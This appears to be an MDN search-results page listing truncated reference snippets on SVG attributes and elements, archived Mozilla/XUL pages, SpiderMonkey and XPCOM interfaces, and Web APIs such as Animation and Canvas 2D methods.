... syntax expr1 ||= expr2 description short-circuit evaluation the logical or operator works like this: x || y; // returns x when x is truthy // returns y when x is not truthy the logical or operator short-circuits: the second operand is only evaluated if the first operand doesn’t already determine the result.
... logical or assignment short-circuits as well, meaning it only performs an assignment if the logical operation would evaluate the right-hand side.
...And 3 more matches
arabic-form - SVG: Scalable Vector Graphics
the arabic-form attribute indicates which of the four possible forms an arabic glyph represents.
... only one element is using this attribute: <glyph> context notes value initial | medial | terminal | isolated default value isolated animatable no initial this value indicates that the glyph represents the initial form.
... medial this value indicates that the glyph represents the medial form.
...And 3 more matches
clip-rule - SVG: Scalable Vector Graphics
the clip-rule attribute basically works as the fill-rule attribute, except that it applies to <clippath> definitions.
... the following fragment of code will cause an evenodd clipping rule to be applied to the clipping path because clip-rule is specified on the <path> element that defines the clipping shape: <g> <clippath id="myclip"> <path d="..." clip-rule="evenodd" /> </clippath> <rect clip-path="url(#myclip)" ...
... /> </g> whereas the following fragment of code will not cause an evenodd clipping rule to be applied because the clip-rule is specified on the referencing element, not on the object defining the clipping shape: <g> <clippath id="myclip"> <path d="..." /> </clippath> <rect clip-path="url(#myclip)" clip-rule="evenodd" ...
...And 3 more matches
color-profile - SVG: Scalable Vector Graphics
note: as a presentation attribute, color-profile can be used as a css property.
... as a presentation attribute, it can be applied to any element but it only has an effect on the following element: <image> usage notes value auto | srgb | <name> | <iri> default value auto animatable yes auto all colors are presumed to be defined in the srgb color space unless a more precise embedded profile is specified within content data.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'color-profile' in that specification.
...And 3 more matches
flood-opacity - SVG: Scalable Vector Graphics
the flood-opacity attribute indicates the opacity value to use across the current filter primitive subregion.
... note: as a presentation attribute, flood-opacity can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following two elements: <feflood> and <fedropshadow> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="flood1"> <feflood flood-color="seagreen" flood-opacity="1" x="0" y="0" width="200" height="200"/> </filter> <filter id="flood2"> <feflood flood-color="seagreen" flood-opacity="0.3" x="0" y="0" width="200" height="200"/> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#flood1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#flood2); transform: translatex(220px);" /> </svg> usage notes value <alpha-value> initial value 1 animatable ...
...And 3 more matches
font-size-adjust - SVG: Scalable Vector Graphics
note: as a presentation attribute, font-size-adjust can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg width="600" height="80" viewbox="0 0 500 80" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-family="times, serif" font-size="10px"> this text uses the times font (10px), which is hard to read in small sizes.
... </text> <text y="40" font-family="verdana, sans-serif" font-size="10px"> this text uses the verdana font (10px), which has relatively large lowercase letters.
...And 3 more matches
glyph-orientation-horizontal - SVG: Scalable Vector Graphics
otherwise, if the value of this attribute is not a multiple of 180 degrees, then the current text position is incremented according to the vertical metrics of the glyph.
... note: as a presentation attribute, glyph-orientation-horizontal can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following five elements: <altglyph>, <textpath>, <text>, <tref>, and <tspan> context notes value <angle> default value 0deg animatable no <angle> the value of the angle is restricted to 0, 90, 180, and 270 degrees.
...And 3 more matches
in - SVG: Scalable Vector Graphics
WebSVGAttributein
the value can be either one of the six keywords defined below, or a string which matches a previous result attribute value within the same <filter> element.
...in many cases, the fillpaint is opaque everywhere, but that might not be the case if a shape is painted with a gradient or pattern which itself includes transparent or semi-transparent parts.
...in many cases, the strokepaint is opaque everywhere, but that might not be the case if a shape is painted with a gradient or pattern which itself includes transparent or semi-transparent parts.
...And 3 more matches
in2 - SVG: Scalable Vector Graphics
WebSVGAttributein2
value sourcegraphic | sourcealpha | backgroundimage | backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of previous filter primitive animatable yes specifications specification status comment filter effects module level 1the definition of 'in2 for <fedisplacementmap>' in that specification.
... working draft no change filter effects module level 1the definition of 'in2 for <fecomposite>' in that specification.
... working draft no change filter effects module level 1the definition of 'in2 for <feblend>' in that specification.
...And 3 more matches
lang - SVG: Scalable Vector Graphics
WebSVGAttributelang
the syntax of this value is defined in the bcp 47 specification.
... the most common syntax is a value formed by a lowercase two-character part for the language and an uppercase two-character part for the region or country, separated by a minus sign, e.g.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'lang' in that specification.
...And 3 more matches
marker-end - SVG: Scalable Vector Graphics
in this case, if the value of marker-start and marker-end are both not none, then two markers will be rendered on that final vertex.
... note: as a presentation attribute, marker-end can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following seven elements: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <defs> <marker id="triangle" viewbox="0 0 10 10" refx="1" refy="5" markerunits="strokewidth" markerwidth="10" markerheight="10" orient="auto"> <path d="m 0 0 l 10 5 l 0 10 z" fill="#f00"/> </marker> </defs> <polyline fill="none" stroke="black" points="20,100 40,60 70,80 100,20" marker-end="url(#triangle)"/> </svg> usage notes value none | <marker-ref> default value none animatable yes n...
...And 3 more matches
marker-start - SVG: Scalable Vector Graphics
in this case, if the value of marker-start and marker-end are both not none, then two markers will be rendered on that final vertex.
... note: as a presentation attribute, marker-start can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following seven elements: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <defs> <marker id="triangle" viewbox="0 0 10 10" refx="1" refy="5" markerunits="strokewidth" markerwidth="10" markerheight="10" orient="auto"> <path d="m 0 0 l 10 5 l 0 10 z" fill="#f00"/> </marker> </defs> <polyline fill="none" stroke="black" points="20,100 40,60 70,80 100,20" marker-start="url(#triangle)"/> </svg> usage notes value none | <marker-ref> default value none animatable yes ...
...And 3 more matches
mask - SVG: Scalable Vector Graphics
WebSVGAttributemask
note: as a presentation attribute mask can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has noticeable effects mostly on the following nineteen elements: <a>, <circle>, <clippath>, <ellipse>, <g>, <glyph>, <image>, <line>, <marker>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <svg>, <symbol>, <text>, <use> usage notes value see the css property mask default value none animatable yes specific...
...ations specification status comment css masking module level 1the definition of 'mask' in that specification.
...And 3 more matches
name - SVG: Scalable Vector Graphics
WebSVGAttributename
value <name> default value none animatable yes <name> this value is the name which is used as the first parameter for icc color specifications within fill, stroke, stop-color, flood-color and lighting-color property values to identify the color profile to use for the icc color specification and the name which can be the value of the color-profile property.
...the name "srgb" is predefined; any color profile descriptions with <name> set to "srgb" (case-insensitively) will be ignored.
... value <name> default value none animatable yes <name> this value specifies the name of a local font.
...And 3 more matches
overflow - SVG: Scalable Vector Graphics
note: as a presentation attribute, overflow can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <foreignobject>, <iframe>, <image>, <marker>, <pattern>, <symbol>, <svg>, and <text> html, body, svg { height: 100%; } <svg viewbox="0 0 200 30" xmlns="http://www.w3.org/2000/svg" overflow="auto"> <text y="20">this text is wider than the svg, so there should be a scrollbar shown.</text> </svg> usage notes value visible | hidden | scroll | auto default value visible animatable yes for a description of the values, please see the css overflow property.
... specifications specification status comment css level 2 (revision 1)the definition of 'overflow' in that specification.
...And 3 more matches
path - SVG: Scalable Vector Graphics
WebSVGAttributepath
for detailed information about the commands that can be used, see the explanation for the d attribute.
...an empty string indicates that there is no path data for the element.
...for detailed information about the commands that can be used, see the explanation for the d attribute.
...And 3 more matches
pathLength - SVG: Scalable Vector Graphics
this value is then used to calibrate the browser's distance calculations with those of the author, by scaling all distance computations using the ratio pathlength/(computed value of path length).
... this can affect the actual rendered lengths of paths; including text paths, animation paths, and various stroke operations.
... basically, all computations that require the length of the path.
...And 3 more matches
preserveAlpha - SVG: Scalable Vector Graphics
the preservealpha attribute indicates how a <feconvolvematrix> element handled alpha transparency.
...ng" width="200" height="200" style="filter:url(#convolvematrix1);"/> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:url(#convolvematrix2); transform:translatex(220px);"/> </svg> usage notes default value false value true | false animatable yes true this value indicates that the convolution will only apply to the color channels.
... in this case, the filter will temporarily unpremultiply the color component values and apply the kernel.
...And 3 more matches
r - SVG: Scalable Vector Graphics
WebSVGAttributer
value <length> | <percentage> default value 0 animatable yes note: starting with svg2, r is a geometry property meaning this attribute can also be used as a css property for circles.
...a value of lower or equal to zero will cause the area to be painted as a single color using the color and opacity of the last gradient <stop>.
... value <length> | <percentage> default value 50% animatable yes specifications specification status comment scalable vector graphics (svg) 2the definition of 'r' in that specification.
...And 3 more matches
requiredExtensions - SVG: Scalable Vector Graphics
language extensions are capabilities within a user agent that go beyond the feature set defined in this specification.
... note: if a given extension reference contains white space within itself, that white space must be escaped.
...it is thus recommended to include a "catch-all" choice at the end of such a <switch> which is acceptable in all cases.
...And 3 more matches
restart - SVG: Scalable Vector Graphics
WebSVGAttributerestart
the restart attribute specifies whether or not an animation can restart.
.../rect> <a id="restart"><text y="20">restart animation</text></a> </svg> document.getelementbyid("restart").addeventlistener("click", evt => { document.queryselectorall("animate").foreach(element => { element.beginelement(); }); }); usage notes value always | whennotactive | never default value always animatable no always this value indicates that the animation can be restarted at any time.
... whennotactive this value indicates that the animation can only be restarted when it is not active (i.e.
...And 3 more matches
stop-opacity - SVG: Scalable Vector Graphics
the opacity value used for the gradient calculation is the product of the value of stop-opacity and the opacity of the value of the stop-color attribute.
... note: as a presentation attribute, stop-opacity can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following element: <stop> usage notes value <opacity-value> default value 1 animatable yes <opacity-value> this value is either a <number> between 0 and 1 or a <percentage> value specifying the opacity of the color gradient stop.
...And 3 more matches
type - SVG: Scalable Vector Graphics
WebSVGAttributetype
for the <fecolormatrix> element, it indicates the type of matrix operation.
... the keyword matrix indicates that a full 5x4 matrix of values will be provided.
... for the <fefuncr>, <fefuncg>, <fefuncb>, and <fefunca> elements, it indicates the type of component transfer function.
...And 3 more matches
<defs> - SVG: Scalable Vector Graphics
WebSVGElementdefs
the <defs> element is used to store graphical objects that will be used at a later time.
... graphical objects can be referenced from anywhere, however, defining these objects inside of a <defs> element promotes understandability of the svg content and is beneficial to the overall accessibility of the document.
... html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- some graphical objects to use --> <defs> <circle id="mycircle" cx="0" cy="0" r="5" /> <lineargradient id="mygradient" gradienttransform="rotate(90)"> <stop offset="20%" stop-color="gold" /> <stop offset="90%" stop-color="red" /> </lineargradient> </defs> <!-- using my graphical objects --> <use x="5" y="5" xlink:href="#mycircle" fill="url('#mygradient')" /> </svg> attributes global attributes core attributes most notably: id lang styling attributes class, style event attributes global event attributes, document element event attributes, graphical event attributes presentation attributes most n...
...And 3 more matches
<desc> - SVG: Scalable Vector Graphics
WebSVGElementdesc
if the element can be described by visible text, it is possible to reference that text with the aria-describedby attribute.
... the hidden text of a <desc> element can also be concatenated with the visible text of other elements using multiple ids in an aria-describedby value.
... in that case, the <desc> element must provide an id for reference.
...And 3 more matches
<feComponentTransfer> - SVG: Scalable Vector Graphics
the calculations are performed on non-premultiplied color values.
... the colors are modified by changing each channel (r, g, b, and a) to the result of what the children <fefuncr>, <fefuncb>, <fefuncg>, and <fefunca> return.
... usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<fefunca>, <fefuncr>, <fefuncb>, <fefuncg> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in dom interface this element implements the svgfecomponenttransferelement interface.
...And 3 more matches
<feComposite> - SVG: Scalable Vector Graphics
additionally, a component-wise arithmetic operation (with the result clamped between [0..1]) can be applied.
...if the arithmetic operation is chosen, each result pixel is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 where: i1 and i2 indicate the corresponding pixel channel values of the input image, which map to in and in2 respectively k1, k2, k3 and k4 indicate the values of the attributes with the same name usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes » presentation attributes » filter primitive attributes » class style specific attributes in in2 operator k1 k2 k3 ...
... the second set does not wipe out the background, with the result that the background sometimes shines through and is other cases is blended into itself (i.e., "double-counting").</desc> <filter id="overflood" filterunits="objectboundingbox" x="-5%" y="-5%" width="110%" height="110%"> <feflood flood-color="#ffffff" flood-opacity="1" result="flood"/> <fecomposite in="sourcegraphic" in2="backgroundimage" operator="over" result="comp"/> <femerge> <femergenode in="flood"/> <femergenode in="com...
...And 3 more matches
<feDiffuseLighting> - SVG: Scalable Vector Graphics
the light map produced by this filter primitive can be combined with a texture image using the multiply term of the arithmetic operator of the <fecomposite> filter primitive.
... multiple light sources can be simulated by adding several of these light maps together before applying it to the texture image.
... usage context categoriesfilter primitive elementpermitted contentany number of descriptive elements and exactly one light source element, in any order.
...And 3 more matches
<linearGradient> - SVG: Scalable Vector Graphics
the <lineargradient> element lets authors define linear gradients that can be applied to fill or stroke of graphical elements.
... don't be confused with css linear-gradient() as css gradients can only apply to html elements where svg gradient can only apply to svg elements.
... value type: <url> ; default value: none; animatable: yes spreadmethod this attribute indicates how the gradient behaves if it starts or ends inside the bounds of the shape containing the gradient.
...And 3 more matches
<radialGradient> - SVG: Scalable Vector Graphics
the <radialgradient> element lets authors define radial gradients that can be applied to fill or stroke of graphical elements.
... don't be confused with css radial-gradient() as css gradients can only apply to html elements where svg gradient can only apply to svg elements.
... value type: <length> ; default value: 50%; animatable: yes spreadmethod this attribute indicates how the gradient behaves if it starts or ends inside the bounds of the shape containing the gradient.
...And 3 more matches
<symbol> - SVG: Scalable Vector Graphics
WebSVGElementsymbol
the <symbol> element is used to define graphical template objects which can be instantiated by a <use> element.
...documents that are rich in structure may be rendered graphically, as speech, or as braille, and thus promote accessibility.
... value type: <length>|<percentage> ; default value: 0; animatable: yes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria ...
...And 3 more matches
<tspan> - SVG: Scalable Vector Graphics
WebSVGElementtspan
value type: <length>|<percentage> ; default value: none; animatable: yes dy shifts the text position vertically from a previous text element.
...can rotate glyphs individually.
... value type: spacing|spacingandglyphs; default value: spacing; animatable: yes textlength a width that the text should be scaled to fit.
...And 3 more matches
SVG element reference - SVG: Scalable Vector Graphics
WebSVGElement
« svg / svg attribute reference » svg drawings and images are created using a wide array of elements which are dedicated to the construction, drawing, and layout of vector images and diagrams.
... svg elements a to z a <a> <animate> <animatemotion> <animatetransform> c <circle> <clippath> <color-profile> d <defs> <desc> <discard> e <ellipse> f <feblend> <fecolormatrix> <fecomponenttransfer> <fecomposite> <feconvolvematrix> <fediffuselighting> <fedisplacementmap> <fedistantlight> <fedropshadow> <feflood> <fefunca> <fefuncb> <fefuncg> <fefuncr> <fegaussianblur> <feimage> <femerge> <femergenode> <femorphology> <feoffset> <fepointlight> <fespecularlighting> <fespotlight> <fetile> <feturbulence> <filter> <foreignobject> g <g> h <hatch> <hatchpath> i <image> l <line> <lineargradient> m <marker> <mask> <mesh> <meshgradient> <meshpat...
...ch> <meshrow> <metadata> <mpath> p <path> <pattern> <polygon> <polyline> r <radialgradient> <rect> s <script> <set> <solidcolor> <stop> <style> <svg> <switch> <symbol> t <text> <textpath> <title> <tspan> u <unknown> <use> v <view> svg elements by category animation elements <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <discard>, <mpath>, <set> basic shapes <circle>, <ellipse>, <line>, <polygon>, <polyline>, <rect> container elements <a>, <defs>, <g>, <marker>, <mask>, <missing-glyph>, <pattern>, <svg>, <switch>, <symbol>, <unknown> descriptive elements <desc>, <metadata>, <title> filter primitive elements <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <f...
...And 3 more matches
SVG as an Image - SVG: Scalable Vector Graphics
svg images can be used as an image format, in a number of contexts.
... many browsers support svg images in: html <img> or <svg> elements css background-image gecko-specific contexts additionally, gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) introduced support for using svg in these contexts: css list-style-image css content svg <image> element svg <feimage> element canvas drawimage function restrictions for security purposes, gecko places some restrictions on svg content when it's being used as an image: javascript is disabled.
...images, stylesheets) cannot be loaded, though they can be used if inlined through data: uris.
...And 3 more matches
SVG and CSS - SVG: Scalable Vector Graphics
this page illustrates the application of css to the specialized language for creating graphics: svg.
... <title>svg demonstration</title> <desc>mozilla css getting started - svg demonstration</desc> <defs> <radialgradient id="fade" cx="0" cy="0" r="200" gradientunits="userspaceonuse"> <stop id="fade-stop-1" offset="33%"/> <stop id="fade-stop-2" offset="95%"/> </radialgradient> </defs> <text id="heading" x="-280" y="-270">svg demonstration</text> <text id="caption" x="-280" y="-250">move your mouse pointer over the flower.</text> <g id="flower"> <circle id="overlay" cx="0" cy="0" r="200" stroke="none" fill="url(#fade)"/> <g id="outer-petals"> <g class="quadrant"> <g class="segment"> <path class="segment-fill" d="m0,0 v-200 a40,40 0 0,0 -62,10 z"/> <path class="segment-edge" d="m0,-200 a40,40 0 0,0 -62,10"/...
...m0,0 v-200 a40,40 0 0,0 -62,10 z"/> <path class="segment-edge" d="m0,-200 a40,40 0 0,0 -62,10"/> </g> <g class="segment" transform="rotate(342)"> <path class="segment-fill" d="m0,0 v-200 a40,40 0 0,0 -62,10 z"/> <path class="segment-edge" d="m0,-200 a40,40 0 0,0 -62,10"/> </g> </g> </g> <g id="inner-petals" transform="rotate(9) scale(0.33)"> <g class="quadrant"> <g class="segment"> <path class="segment-fill" d="m0,0 v-200 a40,40 0 0,0 -62,10 z"/> <path class="segment-edge" d="m0,-200 a40,40 0 0,0 -62,10"/> </g> <g class="segment" transform="rotate(18)"> <path class="segment-fill" d="m0,0 v-200 a40,40 0 0,0 -62,10 z"/> <path class="segment-edge" d="m0,-200...
...And 3 more matches
util/deprecate - Archive of obsolete content
experimental functions to deprecate code.
... globals functions deprecatefunction(fun, msg) dump to the console the error message given in the second argument, prefixed with "deprecated:", and print the stacktrace; then execute the function passed as first argument and returns its value.
... this function is mostly used to flag usage of deprecated functions, that are still available but which we intend to remove in a future release.
...And 2 more matches
Running applications - Archive of obsolete content
using nsiprocess the recommended way is to use the nsiprocess interface because it is crossplatform.
... using nsilocalfile.launch() this method is not implemented on all platforms, especially not on unix/linux!
... see nsilocalfile.launch() for details and make sure that all your target platforms support this method!
...And 2 more matches
View Source for XUL Applications - Archive of obsolete content
importing gviewsourceutils xul applications wanting to show the source code for documents should import the viewsourceutils.js script instead of attempting to open the viewsource.xul window themselves: <script type="application/javascript" src="chrome://global/content/viewsourceutils.js"/> viewsourceutils.js exposes a gviewsourceutils global into the scope of the window that imports that script.
...the object can include the following properties: url (required) a string url for the document to view the source of.
...pass this if you want to attempt to load the document source out of the network cache.
...And 2 more matches
cached - Archive of obsolete content
the cached event is fired when the resources listed in the application cache manifest have been downloaded, and the application is now cached.
... general info specification offline interface event bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... canbubble boolean does the event normally bubble?
...And 2 more matches
Enabling the behavior - updating the status periodically - Archive of obsolete content
now that we have code to retrieve tinderbox status and update the icon, we need to run it periodically.
...we use it inside the loadtinderboxstatus function to make that function run a second (1,000 milliseconds) after startup and a minute (60,000 milliseconds) after each invocation.
...put the javascript code into a file called tinderstatus.js in the same directory as navigator.xul and reference it in navigator.xul where other javascript scripts are referenced: ...
...And 2 more matches
SVG And Canvas In Mozilla - Archive of obsolete content
presentation view online download summary today's web browsers offer somewhat limited graphics capabilities to web developers.
... advances in hardware, especially graphics processors, offer the potential for far richer graphics in interactive applications.
... to realize this potential in web applications, browsers must expose rich new graphics apis to web content.
...And 2 more matches
caption - Archive of obsolete content
it may contain either a text label, using the label attribute, or child elements for a more complex caption.
... attributes accesskey, crop, image, label, tabindex properties accesskey, crop, image, label, tabindex examples <groupbox> <caption label="my groupbox"/> </groupbox> <groupbox flex="1"> <caption> <checkbox label="a checked groupbox"/> </caption> </groupbox> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
... start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales.
...And 2 more matches
NPN_GetAuthenticationInfo - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary the function is called by plugins to get http authentication information from the browser.
... syntax #include <npapi.h> nperror npn_getauthenticationinfo(npp instance, const char *protocol, const char *host, int32_t port, const char *scheme, const char *realm, char **username, uint32_t *ulen, char **password, uint32_t *plen); parameters this function has the following parameters: instance pointer to the current plug-in instance protocol protocol name (uri scheme) host host name port port number scheme http authentication scheme name realm http authentication realm us...
...if the function succeeds, the result buffer will be allocated with npn_memalloc; the plugin is responsible for freeing the buffer.
...And 2 more matches
NPSetWindowCallbackStruct - Archive of obsolete content
syntax typedef struct { int32 type; display* display; visual* visual; colormap colormap; unsigned int depth; } npsetwindowcallbackstruct; fields the data structure has the following fields: type always contains np_setwindow.
... description callback structures are used to pass platform-specific information.
... the npsetwindowcallbackstruct object, allocated by the browser, contains information required for the ws_info field of an npwindow.
...And 2 more matches
Debug.msUpdateAsyncCallbackRelation - Archive of obsolete content
the debug.msupdateasynccallbackrelation function updates the relationship status between a synchronous work item and the associated asynchronous operation.
... syntax debug.msupdateasynccallbackrelation(relatedasyncoperationid, relationtype) parameters relatedasyncoperationid the id associated with the asynchronous operation.
... remarks the synchronous work item is typically the callback function for the asynchronous operation.
...And 2 more matches
netscape - Archive of obsolete content
summary core object a top-level object used to access any java class in the package netscape.*.
... created by the netscape object is a top-level, predefined javascript object.
... you can automatically access it without using a constructor or calling a method.
...And 2 more matches
Callback function - MDN Web Docs Glossary: Definitions of Web-related terms
a callback function is a function passed into another function as an argument, which is then invoked inside the outer function to complete some kind of routine or action.
... here is a quick example: function greeting(name) { alert('hello ' + name); } function processuserinput(callback) { var name = prompt('please enter your name.'); callback(name); } processuserinput(greeting); the above example is a synchronous callback, as it is executed immediately.
... note, however, that callbacks are often used to continue code execution after an asynchronous operation has completed — these are called asynchronous callbacks.
...And 2 more matches
Callgraph
the callgraph project is intended to produce a complete callgraph covering c and c++ code within mozilla.
... this can be used for performing static analysis based on the relationship between functions and methods.
...0 : 1; } the callgraph would be foo() -> good() -> evil().
...And 2 more matches
JSSecurityCallbacks.contentSecurityPolicyAllows
the jssecuritycallbacks.contentsecuritypolicyallows callback is called when a script attempts to access an object property.
... the callback can deny the script access to the property.
... jscheckaccessop is the type of the callback.
...And 2 more matches
JS_FileEscapedString
this article covers features introduced in spidermonkey 1.8.5 write string into file with escaping.
... syntax bool js_fileescapedstring(file *fp, jsstring *str, char quote); name type description fp file * a file pointer to write into.
... description js_fileescapedstring writes str into file fp escaping any non-printable or non-ascii character.
...And 2 more matches
JS_LeaveCrossCompartmentCall
this article covers features introduced in spidermonkey 1.8.1 js_leavecrosscompartmentcall has been removed in bug 786068.
... leave a the compartment, returning to the compartment active before the corresponding js_entercrosscompartmentcall.
... syntax void js_leavecrosscompartmentcall(jscrosscompartmentcall *call); name type description call jscrosscompartmentcall * value returned by previous call to js_entercrosscompartmentcall.
...And 2 more matches
JS_SetCallReturnValue2
causes a native to return a reference value (as allowed by ecma 262-3 §11.2.3).
... syntax void js_setcallreturnvalue2(jscontext *cx, jsval v); name type description cx jscontext * the context in which the native function is running.
... description calling js_setcallreturnvalue2 indicates to the runtime that the native will return a value of type reference.
...And 2 more matches
Zest usecase: Reporting Security Vulnerabilities to Developers
when security teams find vulnerabilities they typically describe them to developers using words, for example in a pdf or via a bug tracker.
... unfortunately in many cases developers may lack the security knowledge to understand or reproduce the problem.
...while it will still be necessary to describe vulnerabilities, zest allows security teams to create reproducible test cases which they can then share with the developers.
...And 2 more matches
nsIAccessibleTreeCache
accessible/public/nsiaccessibletreecache.idlnot scriptable please add a summary to this article.
... last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method overview nsiaccessible getcachedtreeitemaccessible(in long arow, in nsitreecolumn acolumn); void invalidatecache(in long arow, in long acount); void treeviewchanged(); void treeviewinvalidated(in long astartrow, in long aendrow, in long astartcol, in long aendcol); methods getcachedtreeitemaccessible() returns the tree item from the cache for the cell in the specified row and column; the nsiaccessible is created if it doesn't already exist in the cache.
... nsiaccessible getcachedtreeitemaccessible( in long arow, in nsitreecolumn acolumn ); parameters arow the row index.
...And 2 more matches
nsIAsyncVerifyRedirectCallback
netwerk/base/public/nsiasyncverifyredirectcallback.idlscriptable implement this interface to receive a callback that lets you know whether an asynchronous redirect was verified or vetoed.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface implements the callbacks passed to the nsichanneleventsink.asynconchannelredirect() method.
... method overview void onredirectverifycallback(in nsresult result); methods onredirectverifycallback() implements the asynchronous callback passed to nsichanneleventsink.asynconchannelredirect().
...And 2 more matches
nsIDOMGeoPositionCallback
the nsidomgeopositioncallback interface is called when updated position information is available.
... you need to implement this interface to accept callbacks after using nsidomgeolocation.watchposition().
... dom/interfaces/geolocation/nsidomgeopositioncallback.idlscriptable please add a summary to this article.
...And 2 more matches
nsIFaviconDataCallback
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void oncomplete(in nsiuri auri, in unsigned long adatalen, [const,array,size_is(adatalen)] in octet adata, in autf8string amimetype); methods oncomplete() called when the required favicon's information is available.
... it's up to the invoking method to state if the callback is always invoked, or called on success only.
...the caller will receive the most information we can gather on the icon, but it's not guaranteed that all of them will be set.
...And 2 more matches
nsIGeolocationUpdate
xpcom/system/nsigeolocationprovider.idlscriptable provides a way for a geolocation provider to notify the system that a new location is available.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) interface provides a way for a geolocation provider to notify the system that a new location is available.
... method overview void update(in nsidomgeoposition position); methods update() notify the geolocation service that a new geolocation has been discovered.
...And 2 more matches
AddressErrors.dependentLocality - Web APIs
an object based on addresserrors includes a dependentlocality property when the address's dependentlocality property couldn't be validated.
... syntax var localityerror = addresserrors.dependentlocality; value if the value specified in the paymentaddress object's dependentlocality property could not be validated, this property contains a domstring offering a human-readable explanation of the validation error and offers suggestions for correcting it.
... if the dependentlocality value was validated successfully, this property is not included in the addresserrors object.
...And 2 more matches
Animation.cancel() - Web APIs
WebAPIAnimationcancel
the web animations api's cancel() method of the animation interface clears all keyframeeffects caused by this animation and aborts its playback.
... when an animation is cancelled, its starttime and currenttime are set to null.
... syntax animation.cancel(); parameters none.
...And 2 more matches
Animation.oncancel - Web APIs
the oncancel property of the web animations api's animation interface is the event handler for the cancel event.
... the cancel event can be triggered manually with animation.cancel() when the animation enters the "idle" play state from another state, such as when the animation is removed from an element before it finishes playing creating a new animation that is initially idle does not trigger a cancel event on the new animation.
... syntax var cancelhandler = animation.oncancel; animation.oncancel = cancelhandler; value a function to be executed when the animation is cancelled, or null if there is no cancel event handler.
...And 2 more matches
AudioContextLatencyCategory - Web APIs
the audiocontextlatencycategory type is an enumerated set of strings which are used to select one of a number of default values for acceptable maximum latency of an audio context.
... by using these strings rather than a numeric value when specifying a latency to a audiocontext, you can allow the user agent to select an appropriate latency for your use case that makes sense on the device on which your content is being used.
... audiocontextlatencycategory can be used when constructing a new audiocontext by passing one of these values as the latencyhint option in the audiocontext() constructor's options dictionary.
...And 2 more matches
AuthenticatorAssertionResponse.userHandle - Web APIs
the userhandle read-only property of the authenticatorassertionresponse interface is an arraybuffer object which is an opaque identifier for the given user.
... such an identifier can be used by the relying party's server to link the user account with its corresponding credentials and other data.
... note: an authenticatorassertionresponse instance is available on publickeycredential.response after calling navigator.credentials.get().
...And 2 more matches
AuthenticatorResponse - Web APIs
the authenticatorresponse interface of the web authentication api is the base interface for interfaces that provide a cryptographic root of trust for a key pair.
... interfaces based on authenticatorresponse below is a list of interfaces based on the authenticatorresponse interface.
... authenticatorassertionresponse authenticatorattestationresponse properties authenticatorresponse.clientdatajson a json string in an arraybuffer, representing the client data that was passed to credentialscontainer.create() or credentialscontainer.get().
...And 2 more matches
CanvasRenderingContext2D.beginPath() - Web APIs
the canvasrenderingcontext2d.beginpath() method of the canvas 2d api starts a new path by emptying the list of sub-paths.
... call this method when you want to create a new path.
... note: to create a new sub-path, i.e., one matching the current canvas state, you can use canvasrenderingcontext2d.moveto().
...And 2 more matches
CanvasRenderingContext2D.bezierCurveTo() - Web APIs
the canvasrenderingcontext2d.beziercurveto() method of the canvas 2d api adds a cubic bézier curve to the current sub-path.
...the starting point is the latest point in the current path, which can be changed using moveto() before creating the bézier curve.
